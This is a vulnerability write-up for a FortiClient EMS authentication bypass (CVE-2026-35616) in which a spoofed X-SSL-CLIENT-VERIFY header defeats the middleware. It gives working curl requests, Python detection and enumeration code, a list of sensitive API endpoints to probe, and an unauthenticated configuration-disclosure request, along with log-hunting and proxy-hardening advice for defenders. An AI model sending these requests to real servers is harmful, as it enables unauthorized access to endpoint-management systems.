CVE-2026-35616: FortiClient EMS Reverse-Proxy Header Spoofing Auth Bypass

CVE-2026-35616: FortiClient EMS Reverse-Proxy Header Spoofing Auth Bypass

Educational material only. Every request shown here was performed in a controlled lab against a host the author was explicitly authorized to test. All customer identifiers, hostnames, internal IP ranges and certificate serials have been removed and replaced with neutral placeholders. Do not run any of this against systems you are not explicitly authorized to test.

TL;DR

FieldValue
CVECVE-2026-35616
ProductFortiClient EMS (Endpoint Management Server)
AffectedEMS 7.4.5 – 7.4.6
Fixed inEMS 7.4.7+ (Fortinet advisory FG-IR-26-099)
ClassAuthentication bypass via trusted reverse-proxy header
CVSS v3.19.1 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
StatusReported as actively exploited (CISA KEV)

The root cause is a classic trusted-header mistake: FortiClient EMS sits behind an Apache reverse proxy that is supposed to terminate mutual TLS and inject the client-certificate verification result into a backend HTTP header. The Django backend (CertChainAuth middleware) trusts that header unconditionally. If the proxy does not strip it — or if an attacker can reach the backend path that processes it — anyone can simply send the header themselves and be treated as a cert-authenticated client.

1. Architecture and the trust assumption

FortiClient EMS exposes a web/API tier built on Django. In a hardened deployment the request flow is:

Client ──mTLS──> Apache (reverse proxy, terminates TLS,
                          validates client cert)

                   │  injects: X-SSL-CLIENT-VERIFY: SUCCESS
                   │           X-SSL-CLIENT-CERT: <PEM>

                 Django backend (CertChainAuth middleware)

The backend’s CertChainAuth middleware makes an authentication decision based on the value of X-SSL-CLIENT-VERIFY. The implicit assumption is:

“Only our own Apache front-end can ever set X-SSL-CLIENT-VERIFY, and it only sets it to SUCCESS after a real mutual-TLS handshake.”

That assumption breaks the moment a client can deliver that header to the Django layer directly — because the middleware never re-validates the actual TLS client certificate. It trusts the string in the header, not the cryptographic fact behind it. A spoofed X-SSL-CLIENT-VERIFY: SUCCESS header is accepted as proof of authentication.

2. Detection oracle: the 401 → 500 transition

You do not need a full bypass to confirm the vulnerability. The authentication gate produces an observable state change.

Request 1 — baseline (no spoofed header)

curl -sk -v \
  -H "User-Agent: SecurityAssessment/RedTeam" \
  https://ems.target.local/api/v1/system/capabilities

Response:

HTTP/2 401
content-type: application/json
server: Apache

{"result": {"retval": -4, "message": "Session has expired or does not exist."}}

HTTP 401 — authentication enforced, exactly as expected.

Request 2 — with the spoofed header

curl -sk -v \
  -H "User-Agent: SecurityAssessment/RedTeam" \
  -H "X-SSL-CLIENT-VERIFY: SUCCESS" \
  https://ems.target.local/api/v1/system/capabilities

Response:

HTTP/2 500
content-type: application/json
server: Apache

{"result": {"retval": -2, "message": "Server encountered an error, please try again later."}}

HTTP 500 — and this is the whole proof.

Why 401 → 500 is conclusive

The status code did not stay 401. It changed to 500. That tells us:

  • The CertChainAuth middleware accepted the spoofed X-SSL-CLIENT-VERIFY: SUCCESS header.
  • It let the request past the authentication gate and into the request handler.
  • The handler then failed (500) only because the accompanying client- certificate chain data was missing/invalid — i.e. it failed inside application logic, after auth, not at the auth check.

A patched or non-vulnerable host rejects the spoof and stays at 401/403. A vulnerable host transitions 401 → 500 (auth bypassed, backend reached) or, with a well-formed PEM, 401 → 200 (full bypass). The detection logic in the PoC encodes exactly this:

if base_code in (401, 403) and spoof_code == 200:
    # VULNERABLE — full auth bypass
elif base_code in (401, 403) and spoof_code in (400, 500):
    # VULNERABLE — auth layer bypassed; backend processing reached
elif spoof_code in (401, 403):
    # NOT VULNERABLE — header spoofing rejected

3. Unauthenticated data disclosure: /api/v1/init_consts

Beyond the header-spoof bypass, the same Django app exposes an endpoint that requires no authentication at all and no spoofed header — the auth middleware simply does not protect it:

curl -sk -D - \
  -H "User-Agent: SecurityAssessment/RedTeam" \
  "https://ems.target.local/api/v1/init_consts"
HTTP/2 200
content-type: application/json
content-length: 225790
server: Apache

HTTP 200, ~225 KB of internal configuration returned to a completely anonymous client. Key fields disclosed:

result.retval:            1
data.user:                null      ← confirms no session/token was sent
data.user_display_name:   null
data.active_vdom:         "Default"

data.consts.System:
  NAME:          "FortiClient EMS"
  NAME_FULL:     "FortiClient Endpoint Management Server"
  IS_HA_PRIMARY: true
  HA_ENABLED:    false
  AIRGAPPED:     false
  UPDATE_TIME:   "<redacted timestamp>"
  UTC_OFFSET:    "<redacted>"
  ServicesFailure: {"DAS": false, "FCM_NOTIFY": false, "REDIS_NOTIFICATION": false}

data.consts.Permissions   (45 keys — full RBAC permission map)
data.consts.GlobalPermissions (11 keys)
data.consts.Endpoint:
  OperatingSystem: [Windows, Mac, Android, iPhone, iPad]
  Status:          [Excluded, Managed, NotInstalled, NotManaged, Quarantined]

The full RBAC permission model is leaked unauthenticated: SUPER, ENDPOINT_COMMANDS, ENDPOINT_CONTROL, ASSIGN_POLICIES, MANAGE_USER_MANAGEMENT, MANAGE_CA_CERTIFICATES, MANAGE_SERVER_SETTINGS, MANAGE_FORENSICS_ANALYSIS, MANAGE_LICENSE, and ~36 more. Combined with the header-spoof bypass against the protected APIs, this gives an attacker the complete map of what the management API can do before they ever authenticate.

4. Read-only verification + enumeration PoC

The following is a sanitized, read-only detection and enumeration tool. It performs the 401→500 oracle (Step 1) then probes a fixed list of sensitive GET endpoints (Step 2). It never writes, never changes configuration.

Spoofed-header construction

The tool generates a throwaway self-signed certificate and injects both the verify flag and a PEM body, mirroring what a legitimate proxy would forward:

spoof_headers = {
    "X-SSL-CLIENT-VERIFY": "SUCCESS",
    "X-SSL-CLIENT-CERT":   pem_inline,   # self-signed, 1-day validity
}

Step 1 — auth-bypass detection

def step1_detect(base_url, spoof_headers):
    url = base_url + "/api/v1/system/capabilities"
    base_code,  _ = http_req(url)                          # no spoof
    spoof_code, _ = http_req(url, headers=spoof_headers)    # with spoof

    if base_code in (401, 403) and spoof_code == 200:
        return "VULNERABLE — full auth bypass"
    if base_code in (401, 403) and spoof_code in (400, 500):
        return "VULNERABLE — auth layer bypassed; backend reached"
    if spoof_code in (401, 403):
        return "NOT VULNERABLE — spoofing rejected"
    return "INCONCLUSIVE"

Step 2 — sensitive endpoint enumeration (read-only)

Every probe is a GET. The classifier maps the spoofed status code to an access verdict:

Spoofed statusVerdict
200ACCESSIBLE via bypass (parse record count)
400 / 500PARTIAL — auth gate passed, handler errored
401 / 403BLOCKED — protected or patched
404NOT_FOUND — endpoint absent on this version

Endpoint groups probed (per the public research): SYSTEM (/api/v1/system/status, /settings), ENDPOINTS (/api/v1/endpoint/, /summary/, /onlinestatus/), POLICY (/api/v1/endpointprofile/, /profileassignment/), GROUPS (/api/v1/endpointgroup/), ZTNA (/api/v1/ztna/application/, /ztna/rule/ — private-key exposure risk), FABRIC (/api/v1/fabric_device_auth/fortigate/), and INTELLIGENCE (/api/v1/report/fct/sysinfo, /api/v1/vulnerability/, /api/v1/softwareinventory/).

Sample run (sanitized lab output)

[Phase 2] Step 1 — Auth bypass detection
  Endpoint  : /api/v1/system/capabilities
  Baseline  : HTTP 401   (no spoofed header)
  Spoofed   : HTTP 500   (X-SSL-CLIENT-VERIFY: SUCCESS)
  [!!!] VULNERABLE — auth layer bypassed (401→500); backend reached

[Phase 3] Step 2 — API enumeration (read-only)
  [ INTELLIGENCE ]
   ~  /api/v1/report/fct/sysinfo   [401→500]
      ~ PARTIAL bypass (500) — auth gate passed

VERDICT : *** VULNERABLE — CVE-2026-35616 CONFIRMED ***
RISK SUMMARY:
  • PARTIAL: INTELLIGENCE — /api/v1/report/fct/sysinfo — auth gate bypassed

A PARTIAL (500) here is not a failed exploit — it is a confirmed auth bypass whose handler needs a well-formed certificate chain to render 200. The security boundary (authentication) is already defeated at that point.

5. Impact

Chaining the unauthenticated init_consts disclosure with the header-spoof bypass against the management API gives a remote, unauthenticated attacker:

  • Confidentiality — full read of the EMS management surface: managed endpoint inventory, online/offline state, security policies and profile assignments, software inventory, vulnerability data, and the complete RBAC permission map.
  • Integrity — the same trusted-header trust applies to write endpoints; an attacker reaching policy/profile or endpoint-command APIs can push configuration or commands to managed endpoints. (Not demonstrated here — this writeup stays strictly read-only.)
  • Pivot value — EMS manages endpoint agents fleet-wide; control of it is a fleet-wide endpoint compromise primitive. ZTNA endpoints additionally risk private-key exposure.

This is why the CVSS is 9.1: network-reachable, no privileges, no user interaction, high confidentiality and integrity impact.

6. Detection for defenders

Review the EMS / Apache access logs for:

  • Requests to /api/ carrying an inbound X-SSL-CLIENT-VERIFY (or X-SSL-CLIENT-CERT) header — a legitimate external client never sends these; only the local proxy should.
  • HTTP 200, 400 or 500 responses on /api/ paths originating from unexpected source IPs.
  • Anonymous 200 responses on /api/v1/init_consts from outside the management network.
  • Unexplained recent changes to endpoint policies/profiles.

7. Remediation

Immediately

  1. Apply the Fortinet hotfix for FG-IR-26-099 (no version upgrade required for the hotfix path).
  2. Restrict EMS 443 so it is not reachable from outside the management network (firewall / network ACL).

This week

  1. Upgrade FortiClient EMS to 7.4.7+ for the permanent fix.

  2. Harden the reverse proxy to strip the trusted headers before they reach the backend, so a client can never inject them:

    RequestHeader unset X-SSL-CLIENT-VERIFY
    RequestHeader unset X-SSL-CLIENT-CERT
    # then re-set them only from the verified mTLS state, e.g.:
    RequestHeader set X-SSL-CLIENT-VERIFY "%{SSL_CLIENT_VERIFY}s"
    

After patching

  1. Hunt the access logs for prior exploitation (see §6).
  2. Rotate ZTNA keys and any JWT/session secrets that may have been exposed.
  3. Audit recent policy/profile changes for tampering.

Key takeaway

The bug is not exotic — it is the textbook reverse-proxy trusted-header failure. Whenever a backend makes a security decision from an HTTP header that “only the proxy sets,” two controls are mandatory: the proxy must unconditionally strip that header from inbound requests, and the backend must never accept it on a path the proxy doesn’t exclusively own. Trust the cryptographic fact (the validated TLS client cert), never the string a header claims about it.

References

  • Vendor advisory: Fortinet PSIRT FG-IR-26-099
  • Original vulnerability research: Bishop Fox — API Authentication Bypass in FortiClient EMS 7.4.5–7.4.6 (CVE-2026-35616)